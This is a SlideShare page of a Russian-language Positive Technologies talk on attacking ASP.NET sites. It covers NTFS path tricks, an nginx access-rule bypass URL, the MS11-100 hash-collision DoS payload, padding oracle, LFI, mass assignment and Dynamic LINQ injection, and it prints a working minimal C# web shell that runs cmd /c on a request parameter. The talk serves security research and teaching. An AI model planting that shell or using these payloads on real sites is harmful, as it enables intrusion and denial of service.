SlideShare une entreprise Scribd logo
1  sur  29
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?
СЛОЖНО, НО МОЖНО!
Positive Technologies
Хорошо забытое старое: файловая система
Устройства DOS и зарезервированные имена:
NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие
необязательно, имена могут использоваться внутри пути
Зарезервированные символы:
< > : "  / | ? *
Регистронезависимость имен:
Filename == FileName == filename == FILENAME
Поддержка коротких имен «8.3»:
LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT
Завершающие символы:
Filename == Filename... == Filename
Хорошо забытое старое: файловая система
Именованные каналы и почтовые слоты (CreateFile):
Hostpipe<name> , Hostmailslot<name>
Альтернативный синтаксис относительных путей:
C:Windowsnotepad.exe == C:notepad.exe , если Windows –
текущий каталог диска C:
Подстановки (FindFirstFile):
< == * , > == ? , " == .
UNC и Unicode пути:
C:WindowsSystem32
HostC$WindowsSystem32
.C:WindowsSystem32
?C:WindowsSystem32
?UNCHostC$WindowsSystem32
Хорошо забытое старое: файловая система
Метатрибуты и альтернативные потоки данных NTFS:
Directory:<Name>:<Type>File:<Name>:<Type>
C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe
C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA
FileName.aspx == FileName.aspx:.jpg
Метатрибуты файлов Метатрибуты индексов
$STANDARD_INFORMATION $INDEX_ROOT
$FILE_NAME $INDEX_ALLOCATION
$DATA $BITMAP
$ATTRIBUTE_LIST
$OBJECT_ID
$REPARSE_POINT
[PT-2012-06] Обход ограничений Nginx
Рейтинг опасности: Средний (5.0)
(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Подверженные версии: Nginx for Windows <= v1.3
Вектор: Удаленный
Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым
URL-адресам в обход правил, определенных в директивах ‘Location’
конфигурации веб-сервера.
Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к
исходному коду веб-приложения и закрытым разделам сайта, обнаружить
новые уязвимости, украсть пароли подключения к базе данных и прочим
сервисам и т.д.
:$I30:$INDEX_ALLOCATION
обрабатывались, как часть имени каталога.
[PT-2012-06] Обход ограничений Nginx
http://hostname/.svn/entries
http://hostname/.svn::$INDEX_ALLOCATION/entries
HTTP/1.1 200 OK
Server: nginx/1.2.0
HTTP/1.1 403 Forbidden
Server: nginx/1.2.0
* стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23
…
location ~/.svn/ {
deny all;
}
…
Архитектура платформы .NET
Повреждения памяти
Взаимодействие с native-библиотеками, использование смешанных
сборок
MS12-025, апрель 2012: - выполнение произвольного кода за
пределами исполняющей среды через переполнение целого и
повреждение кучи в gdiplus.dll при вызове конструктора класса
System.Drawing.Imaging.EncoderParameter.
Небезопасный управляемый код
unsafe void bufferOverflow(string s)
{
char* ptr = stackalloc char[10];
foreach (var c in s)
{
*ptr++ = c
}
}
«Turkish I» и не только
Сравнение строк без учета текущей культуры, может привести к
непредвиденным последствиям:
Английские культуры: I & i
Турецкие культуры: I & ı + İ & i
<%@ Page Language="C#" Culture="Auto" %>
<%@ Import Namespace="System.Globalization" %>
<! DOCTYPE html>
…
<script runat="server">
…
if (Session["mode"].ToLower() != "admin")
…
if (String.Compare(Request["path"]), 0,
"FILE:", 0, 5, true)
…
Коллизии хэшей объектов
System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта
(принимает значения от -2147483648 до 2147483647).
(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
Коллизии хэшей в ASP.NET (MS11-100)
Штатная ситуация: Не очень штатная ситуация:
3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F
X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&
DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&
LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR
YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&
MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=
=&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE
… over 4Mb form data …
(https://github.com/HybrisDisaster/aspHashDoS)
Хитрый план (post-mortem MS11-100)
1. Рассчитываем 1000 строк с
коллизиями на каждую
комбинацию «версия
.NET»/«аппаратная платформа»
2. Отправляем каждый из
наборов в качестве параметров
POST-запроса
3. Замеряем время ответа на
каждый запрос
4. ???
5. ;)
Web-стек .NET
ASP.NET / MVC
Специфика ASP.NET
Специальные каталоги и файлы:
- App_Browser – определения браузеров
(*.browsers);
- App_Code – исходный код вспомогательных
классов и логики;
- App_Data – хранилища данных;
- App_GlobalResources, App_LocalResources –
ресурсы приложения (*.resx, *.resources);
- App_Themes – темы (*.skin, *.css, images, etc);
- App_WebReferences – ссылки на web-сервисы
(*.wsdl, *.xsd, *.disco, *.discomap);
- Bin – скомпилированные сборки, используемые приложением;
- web.config, web.*.config – конфигурационные файлы, определяющие
настройки web-сервера и приложения.
Специфика ASP.NET
Стандартные HTTP-обработчики:
- WebResource.axd – доступ к статическим ресурсам, внедренным в сборки
приложения.
- ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся
на диске.
Использование:
http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>
Пример:
http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP
8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-
kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1
Где d, зашифрованный параметр:
Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3
8a3a9b
Padding oracle (MS10-070)
Последствия:
– получение ключей, необходимых для шифрования/дешифрования:
 аутентификационных cookies;
 ViewState и Event Validation;
 аргументов для WebRecource.axd и ScriptResource.axd =>
чтение произвольных файлов внутри каталога
приложения
Исправления:
 при ошибке паддинга возвращается обощенная ошибка;
 используется случайное число в качестве IV;
 изменен формат шифруемых строк для их валидации;
 ScriptResource.axd может обрабатывать только *.js файлы.
Специфика ASP.NET
Стандартные HTTP-обработчики:
- Trace.axd – трассировка запросов (доступна только в режиме отладки)
Особенности эксплуатации LFI
Response.WriteFile(<vfilename>)
- позволяет включать любой файл внутри каталога приложения, кроме *.config;
- файл включается статически, выполнения кода не происходит;
- принимает в качестве аргумента виртуальное имя файла.
Server.Execute(<vfilename>)
- позволяет включать любой файл внутри каталога приложения, кроме *.config;
- выполняет обработчик для переданного файла, результат включает в ответ;
- принимает в качестве аргумента виртуальное имя файла.
File.ReadAllText(<filename>)
- позволяет включать любой файл, на который есть права;
- файл включается статически, выполнения кода не происходит;
- принимает в качестве аргумента реальное имя файла.
Минимальный C#-шелл
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
new ProcessStartInfo(
"cmd","/c " + Request["c"]
)
{
UseShellExecute = false,
RedirectStandardOutput = true
}
).StandardOutput.ReadToEnd()
%>
Состояние представления (ViewState)
Предназначено для передачи на
сервер информации об элементах
представления.
- передается в параметре
__VIEWSTATE;
- шифрование и целостность часто
не обеспечиваются;
- используется разработчиками, для
хранения данных сессии на
клиенте, хотя не предназначено
для этого;
- нарушение его целостности может
привести к реализации самых
разнообразных угроз от XSS до
нарушения функциональности
приложения.
Подтверждение запросов и событий
Request Validation – встроенный примитивный WAF, направленный на
предотвращение атак XSS. Блокируются все запросы, содержащие:
&#
< с последующей буквой, !, / и ?
А также, игнорируются сторонние параметры, начинающиеся с __
Event Validation – встроенный механизм валидации
данных событий. Представляет собой параметр
__EVENTVALIDATION, хранящий хэши допустимых
значений элементов форм, событий, ViewState и т.п.
Вопреки бытующему мнению,
неэффективен против CSRF-атак,
при стандартной реализации.
Mass assignment
public class User
{
public int Id
{ get; set; }
public string UserName
{ get; set; }
public string Password
{ get; set; }
public bool IsAdmin
{ get; set; }
}
public class UserController : Controller
{
IUserRepository _userRepository;
public UserController(IUserRepository userRepository) {
_userRepository = userRepository;
}
public ActionResult Edit(int id) {
var user = _userRepository.GetUserById(id);
return View(user);
}
[HttpPost]
public ActionResult Edit(int id, FormCollection collection) {
try {
var user = _userRepository.GetUserById(id);
UpdateModel(user);
_userRepository.SaveUser(user);
return RedirectToAction("Index");
} catch {
return View();
}
}
}
Model: Controller:
Mass assignment
(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
Внедрение выражений LINQ
LINQ – язык запросов, встроенный в синтаксис .NET-языков.
var result = from item in itemsList
where item.field1 % 2 == 0
orderby item.field2 descending
select new { item.field2, item.field3 };
var result = itemsList
.Where(x => x.field1 % 2 == 0)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
Expression.Lambda<Predicate<int>>(
Expression.Equal(
Expression.Modulo(
parameterN,
Expression.Constant(2)
),
Expression.Constant(0)
),
parameterN);
Внедрение выражений LINQ
Dynamic LINQ – одна из нескольких существующих библиотек для
формирования динамических LINQ-запросов времени исполнения.
Возможности:
- определение выражений строками;
- основные примитивные операции;
- доступ к членам статических и
экземплярных типов данных;
- создание экземпляров типов и
анонимных типов;
Что, если "modifier" формируется
из входных данных и содержит:
0 OR 1 == 1 ?
var modifier = "0";
var result = itemsList
.Where("field1 % 2 == " + modifier)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
Внедрение выражений LINQ
Ограничения инъекций в Dynamic LINQ:
- доступ к полям, свойствам и методам возможен только для типа коллекции
или для достижимых типов, определяемых «белым списком»;
- все части выражения должны выполняться без ошибок, в сообщениях об
ошибках отсутствует полезный вывод;
- инъекции подвержены изолированные части запроса;
Возможности инъекций в Dynamic LINQ:
- обход аутентификации / авторизации;
- неавторизованный доступ к данным коллекции;
- нарушение функционала (при наличии у объектов коллекции statefull-
полей);
- реализация угрозы отказа в обслуживании (DoS).
В других решениях возможна реализация угрозы
удаленного выполнения кода (RCE)
Внедрение выражений LINQ
Демо
Спасибо за внимание!
Вопросы?

Contenu connexe

Tendances

Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Thịt Xốt Cà Chua
 
Các kỹ thuật CrackPassword bằng John the Ripper.pptx
Các kỹ thuật CrackPassword bằng  John the Ripper.pptxCác kỹ thuật CrackPassword bằng  John the Ripper.pptx
Các kỹ thuật CrackPassword bằng John the Ripper.pptxMinhDouble1
 
Slide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTITSlide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTITNguynMinh294
 
Web application testing with Selenium
Web application testing with SeleniumWeb application testing with Selenium
Web application testing with SeleniumKerry Buckley
 
Tìm hiểu về Vmware
Tìm hiểu về VmwareTìm hiểu về Vmware
Tìm hiểu về VmwareBich Tuyen
 
Design Pattern qua ví dụ thực tế
Design Pattern qua ví dụ thực tếDesign Pattern qua ví dụ thực tế
Design Pattern qua ví dụ thực tếVKhang Yang
 
TestNG Session presented in PB
TestNG Session presented in PBTestNG Session presented in PB
TestNG Session presented in PBAbhishek Yadav
 
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPTBài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPTMasterCode.vn
 
Web automation using selenium.ppt
Web automation using selenium.pptWeb automation using selenium.ppt
Web automation using selenium.pptAna Sarbescu
 
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...Simplilearn
 
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái TuấnTÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái TuấnThái Tuấn Lưu
 
Hướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ideHướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ideThiện Dương
 
Bài giảng an toàn ứng dụng web và csdl PTIT
Bài giảng an toàn ứng dụng web và csdl PTITBài giảng an toàn ứng dụng web và csdl PTIT
Bài giảng an toàn ứng dụng web và csdl PTITNguynMinh294
 
Allure framework
Allure frameworkAllure framework
Allure frameworkartkoshelev
 
Automation Testing using Selenium Webdriver
Automation Testing using Selenium WebdriverAutomation Testing using Selenium Webdriver
Automation Testing using Selenium WebdriverPankaj Biswas
 

Tendances (20)

Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
 
TestNG
TestNGTestNG
TestNG
 
Các kỹ thuật CrackPassword bằng John the Ripper.pptx
Các kỹ thuật CrackPassword bằng  John the Ripper.pptxCác kỹ thuật CrackPassword bằng  John the Ripper.pptx
Các kỹ thuật CrackPassword bằng John the Ripper.pptx
 
Bài tiểu luận hệ thống lái trợ lực thủy lực
Bài tiểu luận hệ thống lái trợ lực thủy lựcBài tiểu luận hệ thống lái trợ lực thủy lực
Bài tiểu luận hệ thống lái trợ lực thủy lực
 
Slide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTITSlide An toàn mạng nâng cao PTIT
Slide An toàn mạng nâng cao PTIT
 
Web application testing with Selenium
Web application testing with SeleniumWeb application testing with Selenium
Web application testing with Selenium
 
Tìm hiểu về Vmware
Tìm hiểu về VmwareTìm hiểu về Vmware
Tìm hiểu về Vmware
 
Angular js
Angular jsAngular js
Angular js
 
Design Pattern qua ví dụ thực tế
Design Pattern qua ví dụ thực tếDesign Pattern qua ví dụ thực tế
Design Pattern qua ví dụ thực tế
 
TestNG Session presented in PB
TestNG Session presented in PBTestNG Session presented in PB
TestNG Session presented in PB
 
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPTBài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
 
Web automation using selenium.ppt
Web automation using selenium.pptWeb automation using selenium.ppt
Web automation using selenium.ppt
 
Selenium WebDriver
Selenium WebDriverSelenium WebDriver
Selenium WebDriver
 
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...
Selenium WebDriver Tutorial | Selenium WebDriver Tutorial For Beginner | Sele...
 
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái TuấnTÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
 
Hướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ideHướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ide
 
Bài giảng an toàn ứng dụng web và csdl PTIT
Bài giảng an toàn ứng dụng web và csdl PTITBài giảng an toàn ứng dụng web và csdl PTIT
Bài giảng an toàn ứng dụng web và csdl PTIT
 
Allure framework
Allure frameworkAllure framework
Allure framework
 
Selenium web driver
Selenium web driverSelenium web driver
Selenium web driver
 
Automation Testing using Selenium Webdriver
Automation Testing using Selenium WebdriverAutomation Testing using Selenium Webdriver
Automation Testing using Selenium Webdriver
 

Similaire à Взломать Web-сайт на ASP.NET? Сложно, но можно!

Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
Database (Lecture 14 – database)
Database (Lecture 14 – database)Database (Lecture 14 – database)
Database (Lecture 14 – database)Noveo
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаAlexei Smolyanov
 
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человекаNETFest
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиZestranec
 
LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)Sergey Skvortsov
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый стартAntonio
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Timur Shemsedinov
 
Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Andrey Karpov
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersPositive Hack Days
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPITimur Shemsedinov
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиSQALab
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияSQALab
 

Similaire à Взломать Web-сайт на ASP.NET? Сложно, но можно! (20)

Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Database (Lecture 14 – database)
Database (Lecture 14 – database)Database (Lecture 14 – database)
Database (Lecture 14 – database)
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчика
 
бегун
бегунбегун
бегун
 
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
176023
176023176023
176023
 
LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый старт
 
бегун
бегунбегун
бегун
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
 
Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappers
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPI
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестирования
 

Plus de Vladimir Kochetkov

Практическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHPПрактическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHPVladimir Kochetkov
 
Do WAFs dream of static analyzers
Do WAFs dream of static analyzersDo WAFs dream of static analyzers
Do WAFs dream of static analyzersVladimir Kochetkov
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путьVladimir Kochetkov
 
Подводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, IПодводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, IVladimir Kochetkov
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application SecurityVladimir Kochetkov
 
Современные подходы к SAST
Современные подходы к SASTСовременные подходы к SAST
Современные подходы к SASTVladimir Kochetkov
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyVladimir Kochetkov
 
Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Vladimir Kochetkov
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application SecurityVladimir Kochetkov
 
Automated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeAutomated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeVladimir Kochetkov
 
Исключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NETИсключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NETVladimir Kochetkov
 
Автоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кодаАвтоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кодаVladimir Kochetkov
 
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)Vladimir Kochetkov
 
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Vladimir Kochetkov
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Vladimir Kochetkov
 

Plus de Vladimir Kochetkov (15)

Практическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHPПрактическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHP
 
Do WAFs dream of static analyzers
Do WAFs dream of static analyzersDo WAFs dream of static analyzers
Do WAFs dream of static analyzers
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путь
 
Подводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, IПодводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, I
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
 
Современные подходы к SAST
Современные подходы к SASTСовременные подходы к SAST
Современные подходы к SAST
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.Cryptography
 
Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible!
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application Security
 
Automated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeAutomated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source Code
 
Исключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NETИсключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NET
 
Автоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кодаАвтоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кода
 
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
 
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
 

Взломать Web-сайт на ASP.NET? Сложно, но можно!

  • 1. ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET? СЛОЖНО, НО МОЖНО! Positive Technologies
  • 2. Хорошо забытое старое: файловая система Устройства DOS и зарезервированные имена: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути Зарезервированные символы: < > : " / | ? * Регистронезависимость имен: Filename == FileName == filename == FILENAME Поддержка коротких имен «8.3»: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Завершающие символы: Filename == Filename... == Filename
  • 3. Хорошо забытое старое: файловая система Именованные каналы и почтовые слоты (CreateFile): Hostpipe<name> , Hostmailslot<name> Альтернативный синтаксис относительных путей: C:Windowsnotepad.exe == C:notepad.exe , если Windows – текущий каталог диска C: Подстановки (FindFirstFile): < == * , > == ? , " == . UNC и Unicode пути: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  • 4. Хорошо забытое старое: файловая система Метатрибуты и альтернативные потоки данных NTFS: Directory:<Name>:<Type>File:<Name>:<Type> C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg Метатрибуты файлов Метатрибуты индексов $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT
